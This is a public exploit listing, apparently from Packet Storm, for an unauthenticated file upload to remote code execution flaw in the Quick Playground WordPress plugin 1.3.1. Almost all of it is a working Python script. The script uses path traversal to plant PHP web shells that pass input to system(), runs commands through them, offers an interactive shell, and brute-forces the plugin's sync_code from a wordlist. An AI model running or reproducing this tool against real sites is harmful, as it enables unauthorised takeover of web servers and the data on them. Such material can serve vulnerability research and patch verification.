Share
## https://sploitus.com/exploit?id=PACKETSTORM:222992
==================================================================================================================================
| # Title : Quick Playground for WordPress 1.3.1 โ Unauthenticated File Upload to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip |
==================================================================================================================================
[+] Summary : This script is a fully exploitation utility targeting an alleged unauthenticated file upload vulnerability in a WordPress plugin.
[+] POC :
#!/usr/bin/env python3
import requests
import base64
import random
import string
import re
import sys
import argparse
import time
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Quick Playground WP 1.3.1 - Unauthenticated RCE โ
โ CVE: CVE-2026-1830 โ
โ Author: indoushka โ
โ Type: File Upload -> Remote Code Execution โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
DEFAULT_TARGET = "http://localhost:8080"
DEFAULT_SYNC_CODE = "exploit123"
DEFAULT_PROFILE = "default"
class QuickPlaygroundExploit:
def __init__(self, target, sync_code, profile="default", verbose=False):
self.target = target.rstrip('/')
self.sync_code = sync_code
self.profile = profile
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Content-Type": "application/json",
"Accept": "application/json"
})
self.uploaded_shell = None
self.shell_url = None
def log(self, msg, level="INFO"):
"""Print messages with appropriate formatting"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
if self.verbose and level == "INFO":
pass
def generate_filename(self, extension="php"):
"""Generate a random filename"""
name = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"{name}.{extension}"
def get_webshell_content(self, shell_type="simple"):
"""Creating Web Shell Content"""
if shell_type == "simple":
return b'''<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>'''
elif shell_type == "advanced":
return b'''<?php
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');
if($cmd) {
echo "<pre>";
system($cmd . " 2>&1");
echo "</pre>";
}
if(isset($_FILES['file'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
echo "Uploaded: " . $_FILES['file']['name'];
}
?>'''
elif shell_type == "minimal":
return b'<?=system($_GET["cmd"]);?>'
else:
return b'<?php system($_GET["cmd"]); ?>'
def upload_shell(self, filename=None, shell_type="simple"):
"""Uploading the Web Shell to the server"""
if filename is None:
filename = self.generate_filename()
shell_content = self.get_webshell_content(shell_type)
shell_b64 = base64.b64encode(shell_content).decode()
traversal = "../../../"
full_path = f"{traversal}{filename}"
payload = {
"sync_code": self.sync_code,
"filename": full_path,
"base64": shell_b64
}
url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
self.log(f"Uploading the shell to: {full_path}")
self.log(f"Shell type: {shell_type}")
try:
response = self.session.post(url, json=payload, timeout=15)
if response.status_code == 200:
try:
data = response.json()
msg = data.get("message", "")
if "saving to" in msg.lower():
self.log("The file was uploaded successfully!", "SUCCESS")
self.uploaded_shell = filename
self.shell_url = f"{self.target}/{filename}"
return True
else:
self.log(f"Lifting failed: {msg}", "ERROR")
return False
except:
self.log("Unexpected response from the server", "ERROR")
return False
else:
self.log(f"Response error: {response.status_code}", "ERROR")
return False
except requests.exceptions.RequestException as e:
self.log(f"Connection error: {e}", "ERROR")
return False
def execute_command(self, cmd):
"""Executing an order via Web Shell"""
if not self.shell_url:
self.log("Shell has not yet been lifted!", "ERROR")
return None
try:
response = self.session.get(self.shell_url, params={"cmd": cmd}, timeout=10)
if response.status_code == 200:
match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
if match:
return match.group(1).strip()
else:
return response.text.strip()
else:
self.log(f"Error in executing the command: {response.status_code}", "ERROR")
return None
except requests.exceptions.RequestException as e:
self.log(f"Connection error: {e}", "ERROR")
return None
def test_vulnerability(self):
"""Testing for vulnerability without uploading a file"""
self.log("Vulnerability testing...")
test_content = b"<?php echo 'test'; ?>"
test_b64 = base64.b64encode(test_content).decode()
payload = {
"sync_code": self.sync_code,
"filename": "../../../test_vuln.txt",
"base64": test_b64
}
url = f"{self.target}/wp-json/quickplayground/v1/upload_image/{self.profile}"
try:
response = self.session.post(url, json=payload, timeout=15)
if response.status_code == 200:
self.log("There is a loophole! (Request accepted)", "SUCCESS")
return True
else:
self.log("The vulnerability does not exist or the sync_code is incorrect.", "ERROR")
return False
except:
self.log("Target connection failed", "ERROR")
return False
def interactive_shell(self):
"""Interactive shell mode"""
self.log("Entering interactive mode... Type 'exit' to exit", "SUCCESS")
print("\n" + "=" * 50)
self.log("System Information:")
uname = self.execute_command("uname -a")
if uname:
print(f"Operating system: {uname}")
whoami = self.execute_command("whoami")
if whoami:
print(f" user: {whoami}")
pwd = self.execute_command("pwd")
if pwd:
print(f" Current path: {pwd}")
print("\n" + "=" * 50)
print("Interactive mode is ready!\n")
while True:
try:
cmd = input("\033[92mShell>\033[0m ").strip()
if cmd.lower() == "exit":
self.log("Session adjourned...", "WARNING")
break
if not cmd:
continue
if cmd.lower() == "clear":
print("\033c", end="")
continue
if cmd.lower() == "help":
print("""
Available commands:
help - Display this help
clear - Clear the screen
upload - Upload a file (will be executed later)
exit - Exit the shell
""")
continue
result = self.execute_command(cmd)
if result:
print(result)
else:
print("[!]No output was obtained or an error occurred.")
except KeyboardInterrupt:
print("\n[!] Use 'exit' to exit")
except EOFError:
break
def brute_sync_code(target, wordlist_path):
"""Trying to guess sync_code from a dictionary"""
print(f"[*] Attempting to guess sync_code using: {wordlist_path}")
try:
with open(wordlist_path, 'r') as f:
codes = [line.strip() for line in f if line.strip()]
except:
print("[-] The dictionary file cannot be read.")
return None
test_payload = {"sync_code": "", "filename": "test.txt", "base64": "dGVzdA=="}
url = f"{target}/wp-json/quickplayground/v1/upload_image/default"
for code in codes:
test_payload["sync_code"] = code
try:
r = requests.post(url, json=test_payload, timeout=5)
if r.status_code == 200:
data = r.json()
if "saving to" in data.get("message", "").lower():
print(f"[+] ุชู
ุงูุนุซูุฑ ุนูู sync_code: {code}")
return code
except:
continue
print(f"[-] to fail: {code}", end="\r")
print("\n[-]No valid sync_code was found")
return None
def main():
parser = argparse.ArgumentParser(description="Quick Playground WordPress Plugin RCE Exploit")
parser.add_argument("-u", "--url", default=DEFAULT_TARGET, help=f"Target (default): {DEFAULT_TARGET})")
parser.add_argument("-c", "--code", default=DEFAULT_SYNC_CODE, help=f"Sync icon sync_code (hypothetical: {DEFAULT_SYNC_CODE})")
parser.add_argument("-p", "--profile", default=DEFAULT_PROFILE, help=f"Profile (hypothetical: {DEFAULT_PROFILE})")
parser.add_argument("-f", "--filename", help="Shell file name (random by default)")
parser.add_argument("-t", "--shell-type", choices=["simple", "advanced", "minimal"], default="simple", help="type Web Shell")
parser.add_argument("--cmd", help="Execute one command and then exit")
parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
parser.add_argument("--test", action="store_true", help="Testing for the existence of the vulnerability only")
parser.add_argument("--brute", help="Trying to guess sync_code (Requires a dictionary file)")
parser.add_argument("-v", "--verbose", action="store_true", help="View additional details")
args = parser.parse_args()
print(BANNER)
if args.brute:
found_code = brute_sync_code(args.url, args.brute)
if found_code:
print(f"\n[+] use: python3 {sys.argv[0]} -u {args.url} -c {found_code}")
return
exploit = QuickPlaygroundExploit(args.url, args.code, args.profile, args.verbose)
if args.test:
exploit.test_vulnerability()
return
if args.cmd:
if exploit.upload_shell(args.filename, args.shell_type):
result = exploit.execute_command(args.cmd)
if result:
print(result)
return
if args.interactive:
if exploit.upload_shell(args.filename, args.shell_type):
exploit.interactive_shell()
return
if exploit.upload_shell(args.filename, args.shell_type):
print(f"\n[+] Web Shell ready: {exploit.shell_url}?cmd=command")
print("\n[*] Experimental information:")
id_result = exploit.execute_command("id")
if id_result:
print(f" user: {id_result}")
print("\n[*] To enter interactive mode, use --interactive")
print("[*] example: python3 exploit.py -u {} -c {} --interactive".format(args.url, args.code))
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================